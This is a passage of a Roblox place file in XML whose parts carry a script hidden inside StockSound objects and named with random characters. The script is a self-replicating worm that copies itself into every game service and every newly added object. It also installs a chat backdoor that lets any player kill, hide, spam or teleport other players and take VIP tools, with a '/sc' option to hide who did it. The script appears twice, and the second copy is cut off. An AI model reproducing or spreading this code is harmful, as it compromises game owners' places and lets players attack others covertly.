				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX869">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX870">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX871">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-166</X>
					<Y>52.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX872">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX873">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
